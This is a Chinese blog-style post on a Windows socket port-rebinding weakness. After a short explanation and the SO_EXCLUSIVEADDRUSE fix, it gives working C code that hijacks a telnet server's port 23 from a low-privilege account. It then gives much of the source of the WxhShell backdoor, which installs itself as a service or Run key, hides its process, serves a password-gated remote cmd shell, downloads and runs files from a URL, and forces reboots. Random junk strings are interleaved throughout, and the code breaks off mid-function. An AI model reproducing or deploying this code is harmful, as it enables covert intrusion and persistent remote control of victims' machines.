在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&IPT$=u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RN0Rk 8AC 2B#\683 saddr.sin_family = AF_INET;
9Bn
dbSi Kmtr.]Nj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2mRso.Ah <7XdT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y+E@afsKs n(L {2r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f'
eKX7R GC~::m~ 这意味着什么?意味着可以进行如下的攻击:
Aq-v3$XL 2
UgjH 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*UTk. :G5 V}( "8L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
mEA w^ W $y?~2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^0 t`EZ$ r=vE0;7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-Bc.<pFqp XH/|jE.9^| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L:31toGK 8w\&QX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0Bll6Rd !j(R_wOq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
GxBj N7" B::vOg77 #include
E^rN) #include
[wExjLW #include
EV}%D9: #include
TnC'<zm9! DWORD WINAPI ClientThread(LPVOID lpParam);
hAY_dM int main()
KS%,N _F< {
vt1!|2{
h WORD wVersionRequested;
F$caKWzny5 DWORD ret;
%c&h:7); WSADATA wsaData;
?HW*qD#k BOOL val;
L
U7. SOCKADDR_IN saddr;
bv+PbK]iO SOCKADDR_IN scaddr;
-v]7}[
.[ int err;
wBr0s*1I SOCKET s;
D =3NI SOCKET sc;
/rquI y^ int caddsize;
^*ZO@GNL HANDLE mt;
!#'*@a DWORD tid;
v"^G9u wVersionRequested = MAKEWORD( 2, 2 );
<h^vl-L> err = WSAStartup( wVersionRequested, &wsaData );
J~~WV<6 if ( err != 0 ) {
rTx]%{ printf("error!WSAStartup failed!\n");
H:CwUFL return -1;
n|8fdiK#} }
G-Y8<mEh saddr.sin_family = AF_INET;
V%"aU}
VlKWWQj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M]oaWQu 0Rj_l:d= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
T8v>J4@t saddr.sin_port = htons(23);
VLR W,lR9O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mq-;sPsFP {
u-8,9 printf("error!socket failed!\n");
Z5v\[i@H! return -1;
|A"zxNeS" }
JVN0];IL} val = TRUE;
qg|SBQ?6 //SO_REUSEADDR选项就是可以实现端口重绑定的
L9@nx7D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
yAaMYF@ {
Wq]^1g_ printf("error!setsockopt failed!\n");
{>90d(j return -1;
%?K'egkp }
wPyfne?~, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Y\s@'UoVN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xse8fGs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Zhf+u
r L\o-zNY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a8NL {
l7\Bq+Q ret=GetLastError();
uq'T:d printf("error!bind failed!\n");
67^?v)| return -1;
Rkgpa/te" }
dxsPX=\: listen(s,2);
T-0fVTeN while(1)
54v}iG {
kyMWO*>| caddsize = sizeof(scaddr);
bDK72cQ //接受连接请求
mqQN*.8* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
8a)lrIg if(sc!=INVALID_SOCKET)
ve<D[jQsk {
JZB7?@h% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CKCot if(mt==NULL)
4YMX;W {
T@Mrbravc printf("Thread Creat Failed!\n");
E&9BeU
a# break;
f<?v.5($ }
@#rF8; }
{W,&jC CloseHandle(mt);
opc`n}Fc }
GUSEbIz): closesocket(s);
\xR1|M WSACleanup();
muc6gwBp return 0;
U4M}E h8 }
](-zt9,
N; DWORD WINAPI ClientThread(LPVOID lpParam)
@Jr:+|v3B {
c&X2k\ SOCKET ss = (SOCKET)lpParam;
~Z-o2+xA SOCKET sc;
grrM[Y7#~b unsigned char buf[4096];
u0p[ltJ, SOCKADDR_IN saddr;
:Y>FuE long num;
~HBQQt DWORD val;
B63puX{u# DWORD ret;
:8=7)cW //如果是隐藏端口应用的话,可以在此处加一些判断
l$/.B=] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
v(=?@tF}E saddr.sin_family = AF_INET;
17la/7l< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^pwT8Bp saddr.sin_port = htons(23);
5v5)vv.kd if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A1g.ww: {
+adwEYRrr printf("error!socket failed!\n");
v9*31Jx return -1;
SFJ"(ey$ }
q<[m(]: val = 100;
,i)wS1@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z>]P_E~`} {
n,D&pl9f ret = GetLastError();
WIKSz
{"=/ return -1;
{f"oqry_g }
{;5\ #VFg if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FRhHp(0}5 {
g~p43sVV ret = GetLastError();
_$+BYK@ return -1;
+R"Y~
m{F }
DrK@y8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*[Im]. {
zt;aB>jz# printf("error!socket connect failed!\n");
r(j :C%?}C closesocket(sc);
7y4jk closesocket(ss);
'D'H)J return -1;
Z\r?>2 }
CT?4A1[aD while(1)
!mH
!W5& {
v`hn9O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S-5O$EnD //如果是嗅探内容的话,可以再此处进行内容分析和记录
# Rhtaq9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
FQBE1h@k0u num = recv(ss,buf,4096,0);
sm Kp3_r if(num>0)
"^Vnnb:Z*o send(sc,buf,num,0);
E(F?o.b else if(num==0)
ZZM;%i-B break;
6L"b O'_5K num = recv(sc,buf,4096,0);
.cm9&&"Z if(num>0)
V3Ep&<=/ send(ss,buf,num,0);
KwNOB _ else if(num==0)
}Gva=N: break;
0YZ66VN! }
k%R(Qga closesocket(ss);
|G)P
I`BH closesocket(sc);
3tW}a`z9 return 0 ;
vddl9"V) }
Q[c:A@oW WCY5F qND:LP\_v ==========================================================
5,|of{8 iUbcvF3aP 下边附上一个代码,,WXhSHELL
2?F?C ]?T,J+S ==========================================================
xb2j
|KY7 &Qe2
}e$ #include "stdafx.h"
:w]NN\ c*r@QmB: #include <stdio.h>
=gC% = #include <string.h>
BCO (,k #include <windows.h>
Y() ZM #include <winsock2.h>
oT|:gih5 #include <winsvc.h>
<qVOd.9c #include <urlmon.h>
\!"3yd j$<g8Bg=o #pragma comment (lib, "Ws2_32.lib")
x\IuM #pragma comment (lib, "urlmon.lib")
5&.I9}[)j OepQ Z|2 #define MAX_USER 100 // 最大客户端连接数
E5?$=cL? #define BUF_SOCK 200 // sock buffer
}zIWagC6 #define KEY_BUFF 255 // 输入 buffer
MO?
}$j i|0!yID0@ #define REBOOT 0 // 重启
H
vHy{S4 #define SHUTDOWN 1 // 关机
w4FYd >3,}^`l #define DEF_PORT 5000 // 监听端口
7X8*7'.2 H6Ytp^~> #define REG_LEN 16 // 注册表键长度
Uu|2!}^T #define SVC_LEN 80 // NT服务名长度
8?rq{&$t >%5GMx>m // 从dll定义API
xf?"Q# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g][n1$% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y5y7ONcn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5~$WSL?O) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Md0`/F:+2 (1[Z#y[ // wxhshell配置信息
E
B!
,t struct WSCFG {
{b-SK5%]L int ws_port; // 监听端口
r?|(t? char ws_passstr[REG_LEN]; // 口令
]z2x`P^oI int ws_autoins; // 安装标记, 1=yes 0=no
GP x+]Jw8\ char ws_regname[REG_LEN]; // 注册表键名
6\Tq,I7 char ws_svcname[REG_LEN]; // 服务名
1ed^{Wa4$9 char ws_svcdisp[SVC_LEN]; // 服务显示名
t*fH&8( char ws_svcdesc[SVC_LEN]; // 服务描述信息
p&\DG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{].]`#4Jx int ws_downexe; // 下载执行标记, 1=yes 0=no
}S4+1
U3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
NZlCn:" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4pZKm-dM^ '+GY6Ecg };
xiL+s- f%JM
a]yV // default Wxhshell configuration
0X$2~jV> struct WSCFG wscfg={DEF_PORT,
O]?\<&y "xuhuanlingzhe",
qxcTY|& 1,
flz7{W "Wxhshell",
1(Z+n,Hh "Wxhshell",
Iu(]i?Y "WxhShell Service",
9Z"WV5o "Wrsky Windows CmdShell Service",
tv2k&\1 "Please Input Your Password: ",
MwL!2r 1,
`=Rxnl,<U "
http://www.wrsky.com/wxhshell.exe",
EpTc{ "Wxhshell.exe"
roBbo };
"`mG_qHI[ |+Z-'k~Q // 消息定义模块
LoSrXK~0~J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}9 N-2] char *msg_ws_prompt="\n\r? for help\n\r#>";
jaIcIc=Pf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`uqe[u;`6 char *msg_ws_ext="\n\rExit.";
XsSDz}dg char *msg_ws_end="\n\rQuit.";
'}OAl char *msg_ws_boot="\n\rReboot...";
E 0OHl char *msg_ws_poff="\n\rShutdown...";
Pj*]%V char *msg_ws_down="\n\rSave to ";
QyrB"_dm ')iyD5/4 char *msg_ws_err="\n\rErr!";
l\2"u M#7 char *msg_ws_ok="\n\rOK!";
#Fgybokm n\$.6
_@x char ExeFile[MAX_PATH];
dKevhm)R" int nUser = 0;
H`yUSB
IP HANDLE handles[MAX_USER];
M5xMTP- int OsIsNt;
V0*MY{x#S b/tcD r SERVICE_STATUS serviceStatus;
+:/.\3v71 SERVICE_STATUS_HANDLE hServiceStatusHandle;
\5a;_N[Ed ^* CKx // 函数声明
.3wx}!:*| int Install(void);
[<}W S}
. int Uninstall(void);
-I z,vd int DownloadFile(char *sURL, SOCKET wsh);
};'~@%U]/ int Boot(int flag);
}h|HT void HideProc(void);
2+K-I int GetOsVer(void);
CUft int Wxhshell(SOCKET wsl);
,,g: x void TalkWithClient(void *cs);
j9}.U \ int CmdShell(SOCKET sock);
)Ofwfypc int StartFromService(void);
B"`86qc int StartWxhshell(LPSTR lpCmdLine);
%][zn$aa| C?<[oQb# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2ppJ;P{k VOID WINAPI NTServiceHandler( DWORD fdwControl );
d_&~^*> hn$jI5*` // 数据结构和表定义
l{\k\Q !4 SERVICE_TABLE_ENTRY DispatchTable[] =
-AQ
7Bd {
Shss};QZf( {wscfg.ws_svcname, NTServiceMain},
I]Z"?T {NULL, NULL}
Y+EwBg)co };
(m')dSZ R0nUS<b0 // 自我安装
3=0b int Install(void)
xj5MKX{CJT {
X1Kze char svExeFile[MAX_PATH];
@y|JIBBRc HKEY key;
vJQ_mz strcpy(svExeFile,ExeFile);
Lf;Uv[^c <[17&F0 // 如果是win9x系统,修改注册表设为自启动
ph3dm\U. if(!OsIsNt) {
uK[gI6M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g&/r =U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n]K {-C; RegCloseKey(key);
Q:]v4/MT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.|y{1?f_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=[)2DJC RegCloseKey(key);
"Fxw"I
< return 0;
2p*L~! iM }
QQ99sy }
1Nz#,IdQ }
<fDbz1Q;l else {
C1-Jj_XQ. uTmT'u:} // 如果是NT以上系统,安装为系统服务
't475?bY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ZRUI';5x if (schSCManager!=0)
Xs)?PE[ {
WwLV^m] SC_HANDLE schService = CreateService
8]J lYe (
sv#/ 78 ~| schSCManager,
bFfDaO<k wscfg.ws_svcname,
2K2*UC`f wscfg.ws_svcdisp,
%vU*4mH SERVICE_ALL_ACCESS,
?T>N vKF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^ E3 HY@j SERVICE_AUTO_START,
"I3&a1* SERVICE_ERROR_NORMAL,
(U*Zz+ R svExeFile,
eS2VLVxu NULL,
f'u[G?C NULL,
^;cJjl'= NULL,
;{"uG>#R NULL,
22D,,nC0+= NULL
XK
yW );
3\5I4#S if (schService!=0)
?MJ5GVeH {
5:l"* CloseServiceHandle(schService);
L$; gf_L CloseServiceHandle(schSCManager);
X+//$J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>fgV!o4 strcat(svExeFile,wscfg.ws_svcname);
Q0TKM> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Le,+jm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#s-li b RegCloseKey(key);
4cAx9bqA return 0;
PML84*K - }
l4q7,%G }
&fifOF#[e CloseServiceHandle(schSCManager);
+9_E+H'?! }
)H1chNI) }
13I~
h>"Z=y return 1;
.%mjE' }
1)!]zV |r53>,oR<: // 自我卸载
_2Fa.gi int Uninstall(void)
)auuk< {
Bqb3[^;~ HKEY key;
^r~R]stE^ v5`Odbc=w if(!OsIsNt) {
R]_fe4Y0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Py#iC#g~ RegDeleteValue(key,wscfg.ws_regname);
x`p3I*_HT5 RegCloseKey(key);
#>qA&*+{n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SP5t=#M6 RegDeleteValue(key,wscfg.ws_regname);
pPZ^T5-ks RegCloseKey(key);
~8G cWy6 return 0;
LY(h>` }
|b)N;t }
|}K7Q }
x8*@<]! else {
y1hJVYE2 0qD.OF)8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Q$DF3[NC if (schSCManager!=0)
9i#K{CkC| {
7$I *ju_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>.#tNFAs if (schService!=0)
\{`*`WQF {
T 9?!.o if(DeleteService(schService)!=0) {
=6+j
Po{F CloseServiceHandle(schService);
`pd1'5Hm CloseServiceHandle(schSCManager);
Zu %oIk return 0;
;:pd/\< }
Bn{0-5nj CloseServiceHandle(schService);
"Q<*H<e }
Z'z~40Bda CloseServiceHandle(schSCManager);
L\asrdL?= }
<0I=XsE1iX }
mPo] .z 1_.#'U> return 1;
T?E[LzZg }
Sf0[^"7 XG}pp`{o // 从指定url下载文件
~j2=hkS
int DownloadFile(char *sURL, SOCKET wsh)
yw)Ztg) {
abM4G HRESULT hr;
[M6/?4\ char seps[]= "/";
& A<Pf.Us char *token;
0,`$ KbV\ char *file;
mg^\"GC*8 char myURL[MAX_PATH];
>#\&%0OZw char myFILE[MAX_PATH];
F I\V6\B/ ; i><03 strcpy(myURL,sURL);
D`^9
u
K token=strtok(myURL,seps);
2=l!b/m while(token!=NULL)
"i_}\p.,X {
8; s$?*Gi file=token;
9jwo f}OU token=strtok(NULL,seps);
]& qmV }
BO p&s>hI (8(z42 GetCurrentDirectory(MAX_PATH,myFILE);
v+*l|!v strcat(myFILE, "\\");
ico(4KSk strcat(myFILE, file);
?iBHJ{ send(wsh,myFILE,strlen(myFILE),0);
f V.(v& send(wsh,"...",3,0);
uv[e0,@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^$y_~z3o#7 if(hr==S_OK)
$V8B =k~ return 0;
ngJES`0d else
K9*#H( return 1;
i4"xvLK4 u[oYVpe)IG }
S-h1p` 6X:-Z3 // 系统电源模块
O!uB|* int Boot(int flag)
4>^ %_Xj[ {
|[TH
~o HANDLE hToken;
c"J(? 1O TOKEN_PRIVILEGES tkp;
0nz
k?iP "FaG5X( if(OsIsNt) {
)[)-.{q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GKPqBi[rO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[:!#F7O- tkp.PrivilegeCount = 1;
s/Wg^(&M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TR@$$RrU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zT~ GBC-IX if(flag==REBOOT) {
Xb3vvHdI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
h{ce+~X return 0;
(s{%XB:K }
s$:]$&5 else {
J\
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$b$r,mc return 0;
uW[s? }
lLtC9: }
fC%;|V'Nd else {
n*iaNaU"' if(flag==REBOOT) {
QbqLj>-AJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
jO:<"l^+u return 0;
Q:VD2<2 }
wQnr*kyza else {
D?5W1m]E,s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n3b@6V1_ return 0;
dt3Vy*zL }
>o>'@)I?e6 }
on&N=TN |klL KX& return 1;
p7H*Ff` }
n7<<}wcV s9`T% pg // win9x进程隐藏模块
;co{bk|rj void HideProc(void)
YN>#zr+~ {
x|<|eRYK ( v
~/glf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<O\z`aA'q if ( hKernel != NULL )
'T|.<u@~ {
R#\8jv v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
nVyb B~.= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qs-:JmA_w FreeLibrary(hKernel);
B4|%E$1+ }
P<4jY?. s9[v_(W return;
6gR=e+ }
ki+9Ln; w@%W{aUC // 获取操作系统版本
>MP PYVn7 int GetOsVer(void)
>2g CM {
B|GJboQ OSVERSIONINFO winfo;
swLgdk{8n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P^h2w%6' GetVersionEx(&winfo);
nM0nQ{6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
hU=J^Gi0 return 1;
hCxL4LrF else
Aoo'i return 0;
m1[QD26 }
U<6k!Y9ny ?Y hua9 // 客户端句柄模块
xd .I5 int Wxhshell(SOCKET wsl)
xwRnrWd^6 {
~hxB Pn." SOCKET wsh;
o"]eAQ struct sockaddr_in client;
4
^+hw; DWORD myID;
@`_j't, mJsYY,b8 while(nUser<MAX_USER)
3x=F {
?xf;#J+{8 int nSize=sizeof(client);
Czci6Lz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
q?^0
o\ if(wsh==INVALID_SOCKET) return 1;
Fb``&-Qm: <m6Xh^Ko; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Bs1-UI}+ if(handles[nUser]==0)
T*{zL closesocket(wsh);
}DM2#E`_ else
c\]L nUser++;
-pD&@Wlwak }
|v1 K@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Gz6GU.IyQy .y0](
h return 0;
{&<}*4D }
7O9s5 LQh\j|e9 // 关闭 socket
ipzUF o<w void CloseIt(SOCKET wsh)
y(]|jRo {
!}PFi T^ closesocket(wsh);
__V]HcP; nUser--;
<zf+Ii1:, ExitThread(0);
jF3!}*7, }
1 IlR 28)TXRr- // 客户端请求句柄
23f[i<4e void TalkWithClient(void *cs)
:1lE98= {
&53#`WgJ h/fCCfO, SOCKET wsh=(SOCKET)cs;
L~oFW'
char pwd[SVC_LEN];
hKTg~y^ char cmd[KEY_BUFF];
E&>,B81 char chr[1];
>#:/
GN? int i,j;
}]~}DHYr Ky yG8;G% while (nUser < MAX_USER) {
{\aSEE/' bSr 'ji if(wscfg.ws_passstr) {
l'W+^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b66X])+4jE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`Q&]dE= //ZeroMemory(pwd,KEY_BUFF);
E~>6*_? i=0;
^c\ IZ5 while(i<SVC_LEN) {
)RYnRC#O nFfCw%T? // 设置超时
?&"^\p fd_set FdRead;
z/YMl3$l~ struct timeval TimeOut;
0H3T'J%r FD_ZERO(&FdRead);
>-w=7,?'?z FD_SET(wsh,&FdRead);
)zXyV]xe TimeOut.tv_sec=8;
t%U[\\ic TimeOut.tv_usec=0;
^-IsK#r.k int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
PEBFN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
IMGqJc,7 @ >(u:. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z/KZ[qH\ pwd
=chr[0]; s1vrzze
if(chr[0]==0xd || chr[0]==0xa) { 5(|M["KK~
pwd=0; p??/r
break; nr>{ uTa
} olMO+-USP
i++; #Q3PzDfj
} VK'T[5e
rh`.$/^
// 如果是非法用户,关闭 socket r%l%yCH
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Mn>P!
} 5!ubY
6Ph
%%~}Lw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b%;59^4AjD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sJb)HQ,7x
ZCBPO~&hO'
while(1) { Iv(Qa6(
<s8?
Z1
ZeroMemory(cmd,KEY_BUFF); P=^#%7J/l
+oy&OKCa
// 自动支持客户端 telnet标准 <{/;1Dru
j=0; lB!vF ~A&
while(j<KEY_BUFF) { FxfL+}?Q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @vQa\|j
cmd[j]=chr[0]; irsfJUr[V
if(chr[0]==0xa || chr[0]==0xd) { EF=dXm/\
cmd[j]=0; CofH}-
break; x48'1&m
} zq;DIWPIoJ
j++; 5_)@B]~nM
} 5!AV!A_Jp
&|N%#pYS
// 下载文件 @ EmGexLPM
if(strstr(cmd,"http://")) { [8@kx Cq
send(wsh,msg_ws_down,strlen(msg_ws_down),0); i<m$#6<Z
if(DownloadFile(cmd,wsh)) <jUrE[x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -2\ZzK0tM
else kT^*>=1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2L2 VVO
} 2vc\=
else { @H\pipT_b
|mxNUo-
switch(cmd[0]) { ,;.B4
dC`tN5
// 帮助 st?gA"5w
case '?': { 7]|zkjgI
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dz`k[mI
break; dTN$y\
} py{eX`(MS
// 安装 QqtC`H\
case 'i': { ATXF,o1
if(Install()) ~uI**{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yGiP[d|tRc
else 5"JU?e59M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )N(9pnyZH
break; B0oxCc/'sZ
} G#H9g PY
// 卸载 n%/i:Whs
case 'r': { 47IY|Jdz
if(Uninstall()) *hVb5CS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Vjpw,
else XOrcygb2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XGfzEld2"
break; 4\M8BRuE
} R]u
(l+`
// 显示 wxhshell 所在路径 } ^"0T-ua
case 'p': { +YTx
char svExeFile[MAX_PATH]; rA,CQypo
strcpy(svExeFile,"\n\r"); }A|))Ao|
strcat(svExeFile,ExeFile); +W9]ED
send(wsh,svExeFile,strlen(svExeFile),0); HZ
}6Q
break; 2 H[ ; v +
} v~"Ef_`
// 重启 {XtoiI
case 'b': { 1otspOy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <_9!
if(Boot(REBOOT)) d.`&0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K;x~&G0=
else {
="\*h(
closesocket(wsh); mDfwn7f
ExitThread(0); %e{(twp
} &<Mt=(qY1
break; zmI5"K"'F
} H"+wsM^@
// 关机 f&ytK
case 'd': { O)uOUB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EKuSnlTXba
if(Boot(SHUTDOWN)) _gW{gLYyJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WL l_'2h
else { ^av6HFQ
closesocket(wsh); Vclr2]eV4O
ExitThread(0); D{p5/#|r
} ]#zZWg
zv
break; `
W4dx&
} p0M=t-
// 获取shell B3mS]
case 's': { b`CWp;6Y
CmdShell(wsh); WPo:^BD
closesocket(wsh); 5 y
ExitThread(0); +tt9R_S
break; l~J*' m2
} Oz{%k#X-
// 退出 \}JrFc%O
case 'x': { :.uk$jx
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `T"rG}c
CloseIt(wsh); .9h)bf+
break; #`ls)-`7
} 5mgHlsDzu
// 离开 uWjU OJEe
case 'q': { oM,- VUr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rk|@B{CA;
closesocket(wsh); cin2>3Z$
WSACleanup(); >(3\kiYS
exit(1); +E5=$`
break; pSfYu=#f
} f:woP7FP
} 1 ] #9
} K
|*5Kwi
3yV'XxC
// 提示信息 j~`\XX{>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {]kaJ{U>
} Y3',"
} qZk:mlYd
A\$
>>Z
return; =X(%Svnp
} H&4~Uo.5
8=;k"
// shell模块句柄 'bu )M1OLi
int CmdShell(SOCKET sock) >t <pFh
{ ^Q.,\TL01
STARTUPINFO si; #0"~G][#
ZeroMemory(&si,sizeof(si)); v]"L]/"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !HK^AwNY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;inzyFbL=
PROCESS_INFORMATION ProcessInfo; 6bO~/mpWT~
char cmdline[]="cmd"; H !)=y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x_MJJ(q8g
return 0;
CN&
} #VGjCEeU
b]Z@^<_E
// 自身启动模式 aFj.i8+
int StartFromService(void) }#`:Qb \U
{ @f1*eo5f
typedef struct V[;M&=,"
{ y\c"b-lQX
DWORD ExitStatus; ,Zf
9RM
DWORD PebBaseAddress; o[\HOe~;
DWORD AffinityMask; p9qKLJ*.C
DWORD BasePriority; p(JlvJjo
ULONG UniqueProcessId; c EnkU]
